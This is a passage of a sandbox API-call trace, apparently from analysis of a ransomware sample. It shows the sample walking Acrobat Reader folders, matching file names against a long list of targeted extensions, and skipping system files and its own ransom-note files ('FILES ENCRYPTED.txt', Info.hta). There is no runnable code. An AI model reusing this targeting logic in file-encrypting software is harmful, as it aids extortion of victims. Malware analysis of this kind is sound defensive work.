[0261.506] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.506] lstrlenW (lpString=".flm") returned 4 [0261.506] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".flv") returned 4 [0261.506] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".frm") returned 4 [0261.506] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".fxg") returned 4 [0261.506] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".geo") returned 4 [0261.506] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".gif") returned 4 [0261.506] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".grs") returned 4 [0261.506] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.506] lstrlenW (lpString=".gz") returned 3 [0261.506] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.506] lstrlenW (lpString=".h") returned 2 [0261.506] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.507] lstrlenW (lpString=".hdr") returned 4 [0261.507] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".hpp") returned 4 [0261.507] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".hta") returned 4 [0261.507] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".htc") returned 4 [0261.507] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".htm") returned 4 [0261.507] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".html") returned 5 [0261.507] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.507] lstrlenW (lpString=".icb") returned 4 [0261.507] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".ics") returned 4 [0261.507] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".iff") returned 4 [0261.507] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".inc") returned 4 [0261.507] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.507] lstrlenW (lpString=".indd") returned 5 [0261.507] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.507] lstrlenW (lpString=".ini") returned 4 [0261.508] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".iqy") returned 4 [0261.508] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".j2c") returned 4 [0261.508] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".j2k") returned 4 [0261.508] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".java") returned 5 [0261.508] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.508] lstrlenW (lpString=".jp2") returned 4 [0261.508] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".jpc") returned 4 [0261.508] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".jpe") returned 4 [0261.508] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".jpeg") returned 5 [0261.508] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.508] lstrlenW (lpString=".jpf") returned 4 [0261.508] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".jpg") returned 4 [0261.508] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".jpx") returned 4 [0261.508] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.508] lstrlenW (lpString=".js") returned 3 [0261.508] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.508] lstrlenW (lpString="ui-strings.js") returned 13 [0261.509] lstrlenW (lpString=".love$") returned 6 [0261.509] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0261.509] lstrlenW (lpString="ui-strings.js") returned 13 [0261.509] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0261.509] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0261.509] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\en-il\\ui-strings.js") returned 119 [0261.509] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.509] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0261.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.618] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0261.618] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 105 [0261.618] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 1 [0261.618] lstrlenW (lpString="es-es") returned 5 [0261.618] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1 [0261.619] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.619] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es") returned 105 [0261.619] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0261.619] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.619] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.619] lstrlenW (lpString="ui-strings.js") returned 13 [0261.619] lstrlenW (lpString=".1cd") returned 4 [0261.619] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.619] lstrlenW (lpString=".3ds") returned 4 [0261.619] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".3fr") returned 4 [0261.620] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".3g2") returned 4 [0261.620] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".3gp") returned 4 [0261.620] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".7z") returned 3 [0261.620] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.620] lstrlenW (lpString=".accda") returned 6 [0261.620] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.620] lstrlenW (lpString=".accdb") returned 6 [0261.620] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.620] lstrlenW (lpString=".accdc") returned 6 [0261.620] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.620] lstrlenW (lpString=".accde") returned 6 [0261.620] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.620] lstrlenW (lpString=".accdt") returned 6 [0261.620] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.620] lstrlenW (lpString=".accdw") returned 6 [0261.620] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.620] lstrlenW (lpString=".adb") returned 4 [0261.620] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".adp") returned 4 [0261.620] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".ai") returned 3 [0261.620] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.620] lstrlenW (lpString=".ai3") returned 4 [0261.620] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.620] lstrlenW (lpString=".ai4") returned 4 [0261.620] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".ai5") returned 4 [0261.621] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".ai6") returned 4 [0261.621] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".ai7") returned 4 [0261.621] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".ai8") returned 4 [0261.621] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".anim") returned 5 [0261.621] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.621] lstrlenW (lpString=".arw") returned 4 [0261.621] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".as") returned 3 [0261.621] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.621] lstrlenW (lpString=".asa") returned 4 [0261.621] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".asc") returned 4 [0261.621] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".ascx") returned 5 [0261.621] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.621] lstrlenW (lpString=".asm") returned 4 [0261.621] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".asmx") returned 5 [0261.621] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.621] lstrlenW (lpString=".asp") returned 4 [0261.621] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.621] lstrlenW (lpString=".aspx") returned 5 [0261.621] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.621] lstrlenW (lpString=".asr") returned 4 [0261.621] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".asx") returned 4 [0261.622] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".avi") returned 4 [0261.622] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".avs") returned 4 [0261.622] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".backup") returned 7 [0261.622] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.622] lstrlenW (lpString=".bak") returned 4 [0261.622] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".bay") returned 4 [0261.622] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".bd") returned 3 [0261.622] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.622] lstrlenW (lpString=".bin") returned 4 [0261.622] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".bmp") returned 4 [0261.622] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".bz2") returned 4 [0261.622] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".c") returned 2 [0261.622] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.622] lstrlenW (lpString=".cdr") returned 4 [0261.622] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".cer") returned 4 [0261.622] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".cf") returned 3 [0261.622] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.622] lstrlenW (lpString=".cfc") returned 4 [0261.622] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".cfm") returned 4 [0261.622] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.622] lstrlenW (lpString=".cfml") returned 5 [0261.623] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.623] lstrlenW (lpString=".cfu") returned 4 [0261.623] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".chm") returned 4 [0261.623] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".cin") returned 4 [0261.623] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".class") returned 6 [0261.623] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.623] lstrlenW (lpString=".clx") returned 4 [0261.623] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".config") returned 7 [0261.623] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.623] lstrlenW (lpString=".cpp") returned 4 [0261.623] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".cr2") returned 4 [0261.623] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".crt") returned 4 [0261.623] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".crw") returned 4 [0261.623] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".cs") returned 3 [0261.623] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.623] lstrlenW (lpString=".css") returned 4 [0261.623] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".csv") returned 4 [0261.623] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".cub") returned 4 [0261.623] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.623] lstrlenW (lpString=".dae") returned 4 [0261.623] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dat") returned 4 [0261.624] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".db") returned 3 [0261.624] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.624] lstrlenW (lpString=".dbf") returned 4 [0261.624] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dbx") returned 4 [0261.624] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dc3") returned 4 [0261.624] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dcm") returned 4 [0261.624] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dcr") returned 4 [0261.624] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".der") returned 4 [0261.624] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dib") returned 4 [0261.624] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dic") returned 4 [0261.624] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".dif") returned 4 [0261.624] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.624] lstrlenW (lpString=".divx") returned 5 [0261.624] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.624] lstrlenW (lpString=".djvu") returned 5 [0261.625] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.625] lstrlenW (lpString=".dng") returned 4 [0261.625] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.625] lstrlenW (lpString=".doc") returned 4 [0261.625] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.625] lstrlenW (lpString=".docm") returned 5 [0261.625] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.625] lstrlenW (lpString=".docx") returned 5 [0261.625] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.625] lstrlenW (lpString=".dot") returned 4 [0261.625] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.625] lstrlenW (lpString=".dotm") returned 5 [0261.625] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.625] lstrlenW (lpString=".dotx") returned 5 [0261.625] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.625] lstrlenW (lpString=".dpx") returned 4 [0261.625] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.625] lstrlenW (lpString=".dqy") returned 4 [0261.625] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.625] lstrlenW (lpString=".dsn") returned 4 [0261.625] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.625] lstrlenW (lpString=".dt") returned 3 [0261.625] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.626] lstrlenW (lpString=".dtd") returned 4 [0261.626] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.626] lstrlenW (lpString=".dwg") returned 4 [0261.626] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.626] lstrlenW (lpString=".dwt") returned 4 [0261.626] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.626] lstrlenW (lpString=".dx") returned 3 [0261.626] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.626] lstrlenW (lpString=".dxf") returned 4 [0261.626] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.626] lstrlenW (lpString=".edml") returned 5 [0261.626] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.626] lstrlenW (lpString=".efd") returned 4 [0261.626] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.626] lstrlenW (lpString=".elf") returned 4 [0261.626] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.626] lstrlenW (lpString=".emf") returned 4 [0261.627] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".emz") returned 4 [0261.627] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".epf") returned 4 [0261.627] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".eps") returned 4 [0261.627] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".epsf") returned 5 [0261.627] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.627] lstrlenW (lpString=".epsp") returned 5 [0261.627] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.627] lstrlenW (lpString=".erf") returned 4 [0261.627] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".exr") returned 4 [0261.627] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".f4v") returned 4 [0261.627] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".fido") returned 5 [0261.627] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.627] lstrlenW (lpString=".flm") returned 4 [0261.627] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".flv") returned 4 [0261.627] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".frm") returned 4 [0261.627] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.627] lstrlenW (lpString=".fxg") returned 4 [0261.627] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".geo") returned 4 [0261.628] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".gif") returned 4 [0261.628] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".grs") returned 4 [0261.628] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".gz") returned 3 [0261.628] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.628] lstrlenW (lpString=".h") returned 2 [0261.628] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.628] lstrlenW (lpString=".hdr") returned 4 [0261.628] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".hpp") returned 4 [0261.628] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".hta") returned 4 [0261.628] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".htc") returned 4 [0261.628] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".htm") returned 4 [0261.628] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".html") returned 5 [0261.628] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.628] lstrlenW (lpString=".icb") returned 4 [0261.628] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".ics") returned 4 [0261.628] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".iff") returned 4 [0261.628] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.628] lstrlenW (lpString=".inc") returned 4 [0261.628] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".indd") returned 5 [0261.629] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.629] lstrlenW (lpString=".ini") returned 4 [0261.629] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".iqy") returned 4 [0261.629] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".j2c") returned 4 [0261.629] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".j2k") returned 4 [0261.629] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".java") returned 5 [0261.629] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.629] lstrlenW (lpString=".jp2") returned 4 [0261.629] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".jpc") returned 4 [0261.629] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".jpe") returned 4 [0261.629] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".jpeg") returned 5 [0261.629] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.629] lstrlenW (lpString=".jpf") returned 4 [0261.629] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".jpg") returned 4 [0261.629] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".jpx") returned 4 [0261.629] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.629] lstrlenW (lpString=".js") returned 3 [0261.629] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.629] lstrlenW (lpString="ui-strings.js") returned 13 [0261.629] lstrlenW (lpString=".love$") returned 6 [0261.629] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0261.630] lstrlenW (lpString="ui-strings.js") returned 13 [0261.630] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0261.630] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0261.630] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\es-es\\ui-strings.js") returned 119 [0261.630] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3eba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.630] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0261.630] HeapFree (in: hHeap=0x670000, 